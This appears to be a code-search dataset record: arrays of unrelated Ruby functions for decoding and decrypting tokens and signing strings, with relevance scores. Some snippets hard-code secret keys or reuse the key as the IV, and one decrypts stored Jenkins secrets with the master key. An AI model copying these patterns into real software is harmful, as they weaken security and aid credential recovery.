[
"def decode(token)\n key = \"IOUWHEIJHDLKJHPiuhpsdih98392hjhsad\"\n decipher = OpenSSL::Cipher::AES.new(128, :CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = key\n plain = decipher.update(Base64.decode64(token)) + decipher.final\n plain.split(\"|\")\n end",
"def decode_token(token)\n encryptedBytes = Base64.decode64(token)\n key = \"STINGMIMI\"\n blowfish = Crypt::Blowfish.new(key)\n\n position = 0\n decrypted_token = ''\n\n while position < encryptedBytes.length\n decrypted_token += blowfish.decrypt_block(encryptedBytes[position..position + 7]);\n position += 8\n end\n\n npad = decrypted_token.slice(-1)\n if (npad > 0 && npad < 9)\n decrypted_token = decrypted_token.slice(0, decrypted_token.length-npad)\n end\n\n return decrypted_token\n end",
"def getTokenDecode( token)\n params = Hash.new\n params['token'] = token\n return doCurl(\"get\",\"/token/decode\",params)\n end",
"def decrypt(token)\n parts, decoded_parts = Sandal::Enc.token_parts(token)\n header, encrypted_key, iv, ciphertext, auth_tag = *decoded_parts\n\n key = @alg.decrypt_key(encrypted_key)\n mac_key, enc_key = derive_keys(key)\n\n auth_data = parts[0]\n auth_data_length = [auth_data.length * 8].pack(\"Q>\")\n mac_input = [auth_data, iv, ciphertext, auth_data_length].join\n mac = OpenSSL::HMAC.digest(@digest, mac_key, mac_input)\n unless auth_tag == mac[0...(mac.length / 2)]\n raise Sandal::InvalidTokenError, \"Invalid authentication tag.\"\n end\n\n cipher = OpenSSL::Cipher.new(@cipher_name).decrypt\n begin\n cipher.key = enc_key\n cipher.iv = decoded_parts[2]\n cipher.update(decoded_parts[3]) + cipher.final\n rescue OpenSSL::Cipher::CipherError => e\n raise Sandal::InvalidTokenError, \"Cannot decrypt token: #{e.message}\"\n end\n end",
"def decode(string)\n Base64.decode64(string)\n end",
"def decrypt_token(encrypted_connect_token)\n raise SslError, 'Encrypted token cannot be nil.' unless encrypted_connect_token\n\n begin\n private_key.private_decrypt(Base64.urlsafe_decode64(encrypted_connect_token))\n rescue StandardError => e\n raise SslError, \"Could not decrypt token. #{e}\"\n end\n end",
"def decode(encrypted_token)\n secret = 'my$ecretK3y'\n JWT.decode(encrypted_token, secret, true, {algorithm: 'HS256' })\n end",
"def decrypt(str)\n str = str.unpack('m0').first\n aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc').decrypt\n aes.key = @secret\n iv = str[0, aes.iv_len]\n aes.iv = iv\n crypted_text = str[aes.iv_len..-1]\n return nil if crypted_text.nil? || iv.nil?\n aes.update(crypted_text) << aes.final\n rescue\n nil\n end",
"def decode(token)\n \n end",
"def decipher_base64(value_base64, key)\n if blank(value_base64)\n return nil\n else\n cipher_text = Base64.decode64(value_base64)\n return decipher(cipher_text, key)\n end\nend",
"def decrypt(text64, iv)\n if @cipher\n cipher = OpenSSL::Cipher::Cipher.new(\"aes-#{@cipher}-cbc\")\n cipher.decrypt\n cipher.key = @secret[0..cipher_block_size]\n if iv != \"\"\n cipher.iv = Base64.decode64(iv)\n end\n decrypted_text = cipher.update(Base64.decode64(text64))\n decrypted_text << cipher.final\n return decrypted_text\n else\n return text64\n end\n end",
"def decrypt_string(ciphertext, auth_tag, key, iv, auth_data = '')\n cipher = OpenSSL::Cipher.new(CIPHER_TYPE)\n cipher.decrypt\n cipher.key = key\n cipher.iv = iv[0, IV_LENGTH]\n\n cipher.auth_tag = auth_tag\n cipher.auth_data = auth_data\n\n cipher.update(ciphertext) + cipher.final\n end",
"def decrypt(ciphertext)\n ciphertext = ciphertext.unpack('m').first\n tag = ciphertext[0, hmac_length]\n ciphertext = ciphertext[hmac_length..-1]\n\n # make sure we actually had enough data for the tag too.\n if tag && ciphertext && verify_message(tag, ciphertext)\n decrypt_ciphertext(ciphertext)\n else\n nil\n end\n end",
"def decode(data, passphrase)\n decrypt(unpack64(data), passphrase)\n rescue\n return nil\n end",
"def decrypt(string)\n require_key\n\n @private_key.private_decrypt(Base64.decode64(string))\n end",
"def decrypt(encrypted_string)\n CRYPTO.decrypt_string(encrypted_string.decode64)\nend",
"def decode64\n Base64.strict_decode64(unwrap)\n end",
"def decrypt_token token\n @me.decrypt_and_verify(token).split ThreeScale::SSO::SEPARATOR\n end",
"def cdr(token)\n token.split(DELIMITER).second.then(&Base64.method(:decode64))\n end",
"def decode(token)\n JWT.decode(token, private_key.public_key, true, { algorithm: ALGORITHM })\n rescue JWT::VerificationError => e\n # TODO: handle bad token\n rescue JWT::ExpiredSignature => e\n # TODO: handle expired token\n rescue\n nil\n end",
"def decrypt(bin64, iv64)\n aes = OpenSSL::Cipher::Cipher.new($alg)\n aes.decrypt\n aes.key = $key\n aes.iv = Base64.urlsafe_decode64(iv64)\n aes.update(Base64.urlsafe_decode64(bin64)) + aes.final\nend",
"def decrypt_token(password)\n key = obtain_key(password)\n decipher = OpenSSL::Cipher::AES256.new(:CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = @iv\n decipher.update(@encrypted_token) + decipher.final\n end",
"def decrypt(text_to_decrypt, base64_encoded=true)\n text = base64_encoded ? Base64UrlSafe.decode(text_to_decrypt) : text_to_decrypt\n begin\n @key.private_decrypt(text)\n rescue OpenSSL::PKey::RSAError\n nil\n end\n end",
"def decrypt(base64_string)\r\n encrypted = Base64.decode64(base64_string)\r\n aes = decipher\r\n aes.update(encrypted) + aes.final\r\n end",
"def decode(token)\n JWT.decode(token, HMAC_SECRET)\n end",
"def decrypt\r\n\t \r\n\t \tif @IV.empty?\r\n\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\telse\r\n\t\t\t_iv= @IV\r\n\t\tend\r\n\t\t\r\n\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t_rt = Encryptor.decrypt(Base64.decode64(@data))\r\n\t\t\t\r\n\t\treturn _rt\r\n\t\t\t\r\n\t end",
"def decrypt_token(data)\n cipher = OpenSSL::Cipher::AES.new(128, :CBC)\n cipher.decrypt\n cipher.key = @client_secret.byteslice(0..15)\n cipher.iv = @client_id.byteslice(0..15)\n json = cipher.update(data) + cipher.final\n JSON.parse(json)\n end",
"def call(token)\n decode(token, decoding_secret)\n rescue JWT::VerificationError\n decode(token, rotation_secret)\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: \"HS256\"})[0]\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def base64_decode(string)\n SSL.base64_decode(string)\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: 'HS256'})[0]\n end",
"def decode(token)\n body = JWT.decode(\n token,\n Rails.application.secrets.secret_key_base,\n true,\n algorithm: 'HS256'\n )[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decode(token)\n body = JWT.decode(token, Rails.application.secrets.secret_key_base)[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decrypt(base64_encrypted_data,key,base64_init_vector,ciper='aes-128-cbc')\n SymmetricEncryption.cipher = SymmetricEncryption::Cipher.new(:key => key,:iv => Base64.urlsafe_decode64(base64_init_vector), :cipher => ciper )\n SymmetricEncryption.decrypt(Base64.urlsafe_decode64(base64_encrypted_data))\n end",
"def decrypt_handshake_token(token, env)\n handshake = ActiveSupport::MessageEncryptor.new(@token_key).decrypt_and_verify(token);\n begin\n validate_handshake(handshake, env)\n return handshake\n rescue InvalidHandshake\n raise if @die_on_handshake_failure\n end\n return nil\n end",
"def decrypt(string)\n d_salt, d_iv, ciphertext = p_unpack_string(\n string,\n profile.key_len,\n profile.iv_len,\n profile.salt_bytes\n )\n p_decrypt_string(ciphertext, key(d_salt), d_iv, profile.algorithm)\n end",
"def decrypt_string(encrypted_string) \n enc = OpenSSL::Cipher::Cipher.new('DES-EDE3-CBC')\n enc.decrypt(RAM_SALT)\n text = enc.update(Base64.decode64(encrypted_string))\n decrypted_string = (text << enc.final)\n rescue\n nil\n end",
"def lookup(encrypted_string)\n crypted_iv, crypted_value = encrypted_string.split('|')\n fail ArgumentError, 'invalid value for decryption' unless crypted_iv && crypted_value\n iv = Base64.decode64(crypted_iv)\n value = Base64.decode64(crypted_value)\n @cipher.iv = iv\n @cipher.update(value) + @cipher.final\n end",
"def decode_aes(str)\n unpacked_data = Base64.decode64(str).unpack(ENCODING_FORMAT)\n # Splat the data array apart\n # nonce, auth_tag, encrypted_data = unpacked_data\n CipherParams.new(*unpacked_data)\n end",
"def decrypt64(str)\n dec = ''\n str = Base64.decode64(str)\n while str.length != 0\n dec += self.private_decrypt(str[0..self.decrypt_block_size])\n str = str[self.decrypt_block_size+1..-1] if str.length > self.decrypt_block_size\n end\n dec\n end",
"def decode(value)\n Base64.decode64 value\n end",
"def decrypt_token(master, secret, token)\n # Decrypt the key for hudson.util.Secret\n decryptor = OpenSSL::Cipher.new('AES-128-ECB')\n decryptor.decrypt\n decryptor.key = Digest::SHA256.digest(master)[0..15]\n ct = decryptor.update(secret) + decryptor.final()\n # Strip the magic suffix\n raise \"Bad magic suffix\" unless ct.end_with?(MAGIC)\n ct = ct[0..-1-MAGIC.length]\n # Decrypt the raw token\n decryptor = OpenSSL::Cipher.new('AES-128-ECB')\n decryptor.decrypt\n decryptor.key = ct[0..15]\n ct = decryptor.update(Base64::decode64(token)) + decryptor.final()\n # Strip the magic suffix, again\n raise \"Bad magic suffix\" unless ct.end_with?(MAGIC)\n ct = ct[0..-1-MAGIC.length]\n # The final key is an MD5 of this text\n Digest::MD5.hexdigest(ct)\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt(text)\n @private_key.private_decrypt(Base64.decode64(text)) if text\n end",
"def decrypt(encrypted)\n return nil unless encrypted =~ /Validation: (.*?)\\n(.*)\\n\\*\\*\\*/m\n begin\n decipher = OpenSSL::Cipher.new(\"AES-128-CBC\")\n decipher.decrypt\n # puts \"**** $1=#{$1}, $2=#{$2}\"\n decipher.key = EMAIL_KEY\n decipher.iv = Base64.decode64($1)\n encrypted_data = Base64.decode64($2)\n # puts \"**** decipher.iv=#{Base64.encode64 iv}\"\n # puts \"**** encrypted=#{Base64.encode64 encrypted}\"\n return decipher.update(encrypted_data) + decipher.final \n rescue\n return nil\n end \n end",
"def decode(token)\n body = JWT.decode(token, Rails.application.secrets.secret_key_base)[0]\n HashWithIndifferentAccess.new body\n rescue\n nil\n end",
"def decode_token\n #token in header\n if auth_header\n #JWT as a string \n token = auth_header.split(' ')[1]\n #header: { 'Authorization': 'Bearer <token>' }\n #begin/rescue allows us to rescue out of an exception in Ruby \n begin\n #JWT as a string, app secret, and hashing algorithm\n JWT.decode(token, 'my_s3cr3t', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decode(data)\n case @encoding\n when nil, :none, :raw\n data\n when :base64\n Base64.decode64(data)\n else\n raise Cryptic::UnsupportedEncoding, @encoding\n end\n end",
"def decoded_auth_token\r\n result = Token::Decode.call(token: auth_token)\r\n add_error!(result.errors) if result.failure?\r\n result.decoded.first.deep_symbolize_keys\r\n end",
"def decrypt(value)\n escape_and_execute_sql(\n [\"SELECT AES_DECRYPT(?, ?)\", Base64.decode64(value), key]).first\n end",
"def decoded\n Base64.decode64(@base64 || \"\")\n end",
"def decrypt_ciphertext(ciphertext)\n aes = OpenSSL::Cipher.new(@cipher).decrypt\n aes.key = @encryption_key\n iv = ciphertext[0, aes.iv_len]\n aes.iv = iv\n crypted_text = ciphertext[aes.iv_len..-1]\n return nil if crypted_text.nil? || iv.nil?\n aes.update(crypted_text) << aes.final\n rescue\n nil\n end",
"def decode_auth_token\n return nil unless verify_header\n\n JsonWebToken.decode_token(verify_header)\n end",
"def decoded_token\n if auth_header\n # Removed token = auth_header.split(' ')[1] here\n begin\n JWT.decode(auth_header, ENV[\"SECRET\"], true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decode(token)\n JWT.decode(token, secret_key, true, {algorithm: \"HS512\"})[0]\n end",
"def decode(b)\n Base64.decode64(b)\n end",
"def decoded_token\n if auth_header\n # label token from the header of the request, the first word will be Bearer by convention\n # If you send in JUST the token as your Authorization you won't need the split\n token = auth_header.split(' ')[1]\n begin\n # decode the token with your secret password/phrase\n # This sequence is important to have the true and, for now, this algorithm\n # You can look into what they mean on your own, but just know they help JWT stuff work.\n JWT.decode(token, \"put your secret password here\", true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decode(token)\n return nil if token.nil?\n\n decoded = JWT.decode(token, SECRET_KEY)[0]\n HashWithIndifferentAccess.new(decoded)\n rescue JWT::ExpiredSignature => e\n reset_auth_token(token)\n raise_expired_signature_exception(e)\n rescue JWT::DecodeError => e\n raise_decode_error_exception(e)\n rescue JWT::VerificationError => e\n raise_verification_error_exception(e)\n end",
"def decrypt(value,key,context)\n plaintext = @vault.logical.write(\"transit/decrypt/#{key}\", ciphertext: value, context: Base64.encode64(context).gsub('\\n',''))\n return Base64.decode64(plaintext.data[:plaintext]).gsub('\\n','')\n end",
"def decrypt token, opts={}\r\n opts = opts.to_hwia :password, :ttl\r\n\r\n token_data = JWT.decode token, secret+opts.password.to_s, true, { algorithm: ALGORITHM }\r\n data = token_data[0]\r\n\r\n if data['ttl'] && data['ttl'] < Time.now.to_i\r\n seconds = Time.now.to_i - data['ttl']\r\n before = Time.respond_to?(:ago) ? Time.ago(Time.now - seconds) : \"#{seconds} seconds\"\r\n raise JWT::VerificationError, \"Crypted data expired before #{before}. Please get a fresh token.\"\r\n end\r\n\r\n data['data']\r\n rescue => err\r\n raise err unless opts[:unsafe]\r\n end",
"def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n JWT.decode(token, 'yourSecret', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def _decode_aes256 cipher, iv, data\n aes = OpenSSL::Cipher::Cipher.new \"aes-256-#{cipher}\"\n aes.decrypt\n aes.key = @encryption_key\n aes.iv = iv\n aes.update(data) + aes.final\n end",
"def base64_decode\n unpack('m').first\n end",
"def decrypt(ciphertext, passwd, options = {})\n iv_and_ciphertext = Base64.decode64(ciphertext)\n cipher = new_cipher(:decrypt, passwd, options)\n cipher.iv, ciphertext = iv_and_ciphertext(cipher, iv_and_ciphertext)\n plaintext = cipher.update(ciphertext)\n plaintext << cipher.final\n plaintext\n end",
"def decode_aes(str)\n unpacked_data = str.unpack1(\"m\").unpack(ENCODING_FORMAT)\n # Splat the data array apart\n # nonce, auth_tag, encrypted_data = unpacked_data\n CipherParams.new(*unpacked_data)\n end",
"def decrypt_jwt\n begin\n decoded_token_data = JWT.decode(\n params[:token],\n GlobalConstant::PublicOpsApi.secret_key,\n true,\n {:algorithm => 'HS256'}\n )[0][\"data\"]\n\n params[:decoded_token_data] = HashWithIndifferentAccess.new(decoded_token_data)\n rescue => e\n # decoding failed\n ApplicationMailer.notify(\n body: {exception: {message: e.message, backtrace: e.backtrace}},\n data: {\n 'decoded_token_data' => params[:decoded_token_data],\n 'token' => params[:token]\n },\n subject: 'Exception in decrypt_jwt'\n ).deliver\n\n render_api_response(\n Result::Base.error({\n error: 'c_oc_1',\n error_message: 'Token Invalid or Expired.',\n http_code: GlobalConstant::ErrorCode.not_found\n })\n )\n end\n end",
"def decode_bytes(encoded_bytes)\n Base64.urlsafe_decode64(encoded_bytes)\n end",
"def decoded_token\n if token_from_cookie\n token= token_from_cookie\n # byebug\n begin\n JWT.decode(token, Rails.application.credentials.jwt_token, true, algorithm: \"HS256\")\n # JWT.decode => [{ \"user_id\"=>\"2\" }, { \"alg\"=>\"HS256\" }]\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def decode(token)\n\t\t\tbody = JWT.decode(token, Rails.application.secrets.secret_key_base)\n\t\t\t#HashWithIndifferentAcesss.new body\n\t\tend",
"def decrypt(data)\n crypto_key.decrypt64(data)\n end",
"def base_decrypt(ciphertext)\n simple_box = RbNaCl::SimpleBox.from_secret_key(key)\n simple_box.decrypt(ciphertext).force_encoding('UTF-8')\n # For an unknown reason, the decrypted result is default\n # to be of 'ASCII-8BIT', so we have to transform it into\n # UTF-8 by ourself!!\n end",
"def car(token)\n token.split(DELIMITER).first.then(&Base64.method(:decode64))\n end",
"def decode_aes256_cbc_base64 data\n if data.empty?\n ''\n else\n # TODO: Check for input validity!\n _decode_aes256 :cbc, decode_base64(data[1, 24]), decode_base64(data[26..-1])\n end\n end",
"def decoded_token\n if token\n begin\n JWT.decode(token, secret, true, {algorithm: algorithm})\n rescue JWT::DecodeError\n return [{}]\n end\n else\n [{}]\n end\n end",
"def ebsin_decode(data, key)\n rc4 = RubyRc4.new(key)\n (Hash[ rc4.encrypt(Base64.decode64(data.gsub(/ /,'+'))).split('&').map { |x| x.split(\"=\") } ]).slice(* NECESSARY )\n end",
"def ebsin_decode(data, key)\n rc4 = RubyRc4.new(key)\n (Hash[ rc4.encrypt(Base64.decode64(data.gsub(/ /,'+'))).split('&').map { |x| x.split(\"=\") } ]).slice(* NECESSARY )\n end",
"def decrypt!(cipher, options={})\n opt = { salt: '', parse: true }.merge!(options)\n\n set_crypto cipher, opt[:intmode]\n iv = compute_iv_for_decrypting(force_binary(opt[:salt]), self[:content])\n\n if authenticated?\n if @icv_length.zero?\n @icv_length = opt[:icv_length].to_i if opt[:icv_length]\n raise PacketGen::ParseError, 'unknown ICV size' if @icv_length.zero?\n end\n icv = self[:content].slice!(-@icv_length, @icv_length)\n end\n\n authenticate_if_needed iv, icv\n private_decrypt opt\n end",
"def decrypt_and_verify(value)\n ::JSON.parse(\n @box.decrypt(\n Base64.urlsafe_decode64(value)),\n symbolize_names: true)\n rescue RbNaCl::CryptoError\n raise InvalidMessage\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token)\n end",
"def decode(text); end",
"def decrypt( string, pass, salt)\n key, iv = derive_key_iv( pass, salt)\n \n decipher = OpenSSL::Cipher::AES.new(256, :CBC)\n decipher.decrypt\n decipher.key = key\n decipher.iv = iv\n\n decipher.update( string) + decipher.final\n end",
"def decrypt(encrypted_str)\n return encrypted_str unless encrypted_str.is_a?(String) && @derived_key\n return encrypted_str unless encrypted_str.start_with?(ENCRYPTED_PREFIX)\n\n decrypt_str = encrypted_str[ENCRYPTED_PREFIX.length..-1]\n params = decode_aes(decrypt_str)\n\n cipher = OpenSSL::Cipher.new(CIPHER).decrypt\n\n cipher.key = @derived_key\n cipher.iv = params.nonce\n cipher.auth_tag = params.auth_tag\n cipher.auth_data = \"\"\n\n decoded_str = cipher.update(params.data) + cipher.final\n\n # force to utf-8 encoding. We already ensured this when we encoded in the first place\n decoded_str.force_encoding(Encoding::UTF_8)\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token)\n end",
"def strict_decode64( str )\n \n if RUBY_VERSION >= \"1.9\"\n Base64.strict_decode64( str )\n else\n Base64.decode64( str )\n end\nend",
"def decode(base64)\n base64.to_s.unpack(\"m\").first\n end",
"def decrypt_access_token\n crypt = ActiveSupport::MessageEncryptor.new(Base64.decode64(ENV['KEY']))\n # Use instance variable to pass into another action within controller\n @token = crypt.decrypt_and_verify(current_user.access_token)\n end",
"def base_decrypt(ciphertext)\n RbNaCl::SimpleBox\n .from_secret_key(key)\n .decrypt(ciphertext)\n .force_encoding(Encoding::UTF_8)\n end",
"def aes_decrypt(key, crypt_string)\n cipher = OpenSSL::Cipher::Cipher.new(ssl_cipher)\n\n cipher.decrypt\n cipher.key = key\n cipher.pkcs5_keyivgen(key)\n decrypted_data = cipher.update(crypt_string) + cipher.final\n end",
"def decode_aes256 data\n length = data.length\n length16 = length % 16\n length64 = length % 64\n\n if length == 0\n ''\n elsif length16 == 0\n decode_aes256_ecb_plain data\n elsif length64 == 0 || length64 == 24 || length64 == 44\n decode_aes256_ecb_base64 data\n elsif length16 == 1\n decode_aes256_cbc_plain data\n elsif length64 == 6 || length64 == 26 || length64 == 50\n decode_aes256_cbc_base64 data\n else\n raise RuntimeError, \"'#{data.inspect}' doesn't seem to be AES-256 encrypted\"\n end\n end",
"def decode_string(str)\n\nend",
"def decoded_jwt\n JwtWrapper.decode(\n Base64.decode64(\n Oj.load(\n Base64.decode64(params[\"token\"].split(\"--\").first)\n )[\"_rails\"][\"message\"]\n ).delete_prefix('\"').delete_suffix('\"')\n )[\"value\"]\n rescue\n nil\n end",
"def decode(data)\n @encryptor.decrypt_and_verify(data)\n rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage\n 'Wrong password'\n end",
"def decode(token)\n #return which user is this token???\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def base64_url_decode(str)\n \"#{str}==\".tr(\"-_\", \"+/\").unpack(\"m\")[0]\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token, key_field: :admin_secret_key_base)\n end",
"def decrypt(data)\n @cert_chain[0].public_key.public_decrypt(Base64::decode64(data))\n end",
"def urlsafe_decode64(str)\n strict_decode64(str.tr(\"-_\", \"+/\"))\n end"
] |
[
"0.7597639",
"0.69577426",
"0.6544236",
"0.6514142",
"0.6473481",
"0.6400813",
"0.6393597",
"0.6346292",
"0.63426423",
"0.63349575",
"0.6285962",
"0.6247357",
"0.62250423",
"0.62195003",
"0.6212333",
"0.61973614",
"0.61848575",
"0.61698127",
"0.6156153",
"0.61307895",
"0.61111325",
"0.61003155",
"0.60955983",
"0.607796",
"0.60642743",
"0.60468143",
"0.60341334",
"0.60225064",
"0.60191435",
"0.60056794",
"0.5995479",
"0.5990576",
"0.5990576",
"0.59843653",
"0.5966082",
"0.59655595",
"0.5963026",
"0.5952645",
"0.5925304",
"0.59221256",
"0.5897404",
"0.58918196",
"0.58845276",
"0.58699864",
"0.5868757",
"0.5864405",
"0.5864405",
"0.5850841",
"0.5846918",
"0.58108294",
"0.5801848",
"0.5791322",
"0.57388604",
"0.57336706",
"0.57055515",
"0.5703217",
"0.569814",
"0.5694063",
"0.5689769",
"0.5687568",
"0.56864834",
"0.56819797",
"0.566905",
"0.5662134",
"0.5649651",
"0.5645715",
"0.5636809",
"0.561419",
"0.5610612",
"0.5610171",
"0.56059736",
"0.56005794",
"0.56003666",
"0.5599039",
"0.5581328",
"0.55790114",
"0.5578401",
"0.5572773",
"0.5572773",
"0.55646735",
"0.55517477",
"0.5537189",
"0.5535836",
"0.55316013",
"0.5522904",
"0.55217224",
"0.5517601",
"0.55069536",
"0.5502812",
"0.54979223",
"0.5495835",
"0.54873645",
"0.54832864",
"0.5465397",
"0.5459661",
"0.54572517",
"0.5455885",
"0.5454718",
"0.54318655",
"0.54312986"
] |
0.7602891
|
0
|
Creates a signature for the given string by using the signature key.
|
def signToken(token)
if (@signkey.nil? or @signkey.empty?)
fatal("Error: signToken: Secret key was not set. Aborting.")
end
begin
digest = OpenSSL::Digest::SHA256.new
return OpenSSL::HMAC.digest(digest, @signkey, token)
rescue Exception => e
debug("Error: signToken: Signing failed: #{token}, #{e}")
return
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signature_for(string)\n format('sha1=%s'.freeze, generate_hmac(string))\n end",
"def generate_signature(string_to_sign)\n digest = OpenSSL::Digest.new('sha256')\n OpenSSL::HMAC.hexdigest(digest, @api_secret, string_to_sign)\n end",
"def signature_for(string)\n format('sha1=%s'.freeze, generate_hmac(string))\n end",
"def sign(string)\n @key.sign OpenSSL::Digest::SHA256.new, string\n end",
"def signature\n digest = \"SHA256\"\n OpenSSL::HMAC.hexdigest(digest, signing_key, string_to_sign)\n end",
"def signature\n Base64.encode64(digest_with_key(string_to_sign)).strip\n end",
"def create_signature(dev_id, api_method, auth_key, formatted_timestamp)\n # ts = Time.at(timestamp).strftime(\"%Y%m%d%H%M%S\")\n raw_sig = \"#{dev_id}#{api_method}#{auth_key}#{formatted_timestamp}\"\n Digest::MD5.hexdigest(raw_sig)\n end",
"def sign(string, base64=false)\n sig = @private_key.sign(OpenSSL::Digest.new(\"SHA1\"), string)\n\n base64 ? base64_encode(sig) : sig\n end",
"def sign_base_string(base_string)\n key = OpenSSL::PKey::RSA.new File.read @private_key\n signature = key.sign(OpenSSL::Digest::SHA256.new, base_string)\n\n Base64.encode64(signature).delete(\"\\n\")\n end",
"def signature\n Base64.encode64(encryption_key.sign(OpenSSL::Digest::SHA256.new, id_string))\n end",
"def generate_signature(base_string)\n key = OpenSSL::HMAC.digest('sha1', client_secret, base_string)\n CGI::escape(Base64.encode64(key).chomp)\n end",
"def signature\n sha256 = OpenSSL::Digest::SHA256.new\n hash = OpenSSL::HMAC.digest sha256, secret, string_to_sign\n\n Base64.encode64(hash).chomp\n end",
"def signature\n k_date = Digestor.hmac(\"AWS4\" + secret_key, date[0, 8])\n k_region = Digestor.hmac(k_date, region)\n k_service = Digestor.hmac(k_region, service)\n k_credentials = Digestor.hmac(k_service, \"aws4_request\")\n Digestor.hexhmac(k_credentials, string_to_sign)\n end",
"def sign(str, secret)\n OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new(\"sha256\"), secret, str)\n end",
"def createsignature(str)\r\n signature_raw = sign(str)\r\n signature_der = ECDSA::Format::SignatureDerString.encode(signature_raw)\r\n signature_der_b64 = Base64.strict_encode64(signature_der) \r\n digest_raw = Digest::SHA256.digest(str)\r\n digest_b64 = Base64.encode64(digest_raw)\r\n #Base64 encoding was used due to the readablility, and transportability. \r\n puts(\"Signature (b64 encoded der): \"+signature_der_b64)\r\n puts(\"Digest (b64 endoded): \"+digest_b64)\r\n $signature_array.push(signature_der_b64)\r\n $digest_array.push(digest_b64)\r\n #return signature_der_b64\r\nend",
"def sign(string, secret_access_key)\n hmac = HMAC::SHA256.new(secret_access_key)\n hmac.update(string)\n # chomp is important! the base64 encoded version will have a newline at the end\n Base64.encode64(hmac.digest).chomp\n end",
"def generate_signature\n sha1x16 = Digest::SHA1.hexdigest(signed_string)\n .tap { |s| logger.debug \"sha1x16 #{s}\" }\n enc = case form_fields['signMethod']\n when '01' # 01 means RSA\n merchant_private_key.sign(OpenSSL::Digest::SHA1.new, sha1x16)\n .tap { |s| logger.debug \"enc #{s}\" }\n else # at current time (2015-05-25) no other signing method is mentioned in Unionpay's official docs\n raise \"sign method #{form_fields['signMethod']} is not implemented yet.\"\n end\n Base64.strict_encode64(enc) # has to be strict_encode64, not encode64, as the latter as an extra '\\n'\n .tap { |s| logger.debug \"final: #{s}\" }\n end",
"def sign(key, string)\n SSL.new(nil, key).sign(string, true)\n end",
"def sign secret, string_to_sign, digest_method = 'sha256'\n Base64.encode64(hmac(secret, string_to_sign, digest_method)).strip\n end",
"def signature_key=(_arg0); end",
"def fps_sign string\n digest = OpenSSL::Digest::Digest.new('sha1')\n hmac = OpenSSL::HMAC.digest(digest, SECRET_ACCESS_KEY, string)\n Base64.encode64(hmac).chomp\n end",
"def create_string_to_sign(scope, context)\n scope_hash = OpenSSL::Digest.new(@hash_algo, scope)\n context_hash = OpenSSL::Digest.new(@hash_algo, context)\n sprintf \"SIGNER-HMAC-%s\\n%s\\n%s\\n%s\\n%s\", @hash_algo.upcase, @self_key, @client_id, scope_hash, context_hash\n end",
"def sign(str)\n @signer.sign(str) unless str.nil? || str.empty?\n end",
"def string_to_sign\n [\n SIGNV4ALGO,\n date,\n credential_scope,\n Digestor.hexdigest(canonical_request)\n ].join(\"\\n\")\n end",
"def signature_key; end",
"def string_to_sign\n [\n \"AWS4-HMAC-SHA256\",\n request_timestamp,\n credential_scope,\n digest.hexdigest(canonical)\n ].join(\"\\n\")\n end",
"def default_signer(string_to_sign)\n key = @storage_json.authorization.signing_key\n key = OpenSSL::PKey::RSA.new(@storage_json.authorization.signing_key) unless key.respond_to?(:sign)\n digest = OpenSSL::Digest::SHA256.new\n return key.sign(digest, string_to_sign)\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def build_signature\n sig = case signature_method\n when \"HMAC-SHA1\"\n Base64.encode64(HMAC::SHA1.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n when \"HMAC-MD5\"\n Base64.encode64(HMAC::MD5.digest(signature_secret, signature_base_string)).chomp.gsub(/\\n/,'')\n else\n false\n end\n Merb::Parse.escape(sig)\n end",
"def calculate_signature api_private_key, rndguid, current_time\n\n # concatenate the random GUID to the end of the timestamp - the result should look like this:\n string_to_sign = current_time + rndguid\n\n # Use the api private key to create a SHA256 hash and Base64 encode the whole thing\n signature = Digest::HMAC.base64digest(string_to_sign, api_private_key, Digest::SHA256)\n\nend",
"def generate_signature\n digest = OpenSSL::Digest.new('sha256')\n string_to_sign = \"#{@url_path}?#{sorted_parameters_query}\"\n OpenSSL::HMAC.hexdigest(digest, @api_secret_d, string_to_sign)\n end",
"def aws_get_signature_key(key, date_stamp, region_name, service_name)\n k_date = aws_sign(\"AWS4\" + key, date_stamp)\n k_region = aws_sign(k_date, region_name)\n k_service = aws_sign(k_region, service_name)\n aws_sign(k_service, \"aws4_request\")\n end",
"def sign_with(fingerprint_id, signature)\n @signatures[fingerprint_id] = signature\n end",
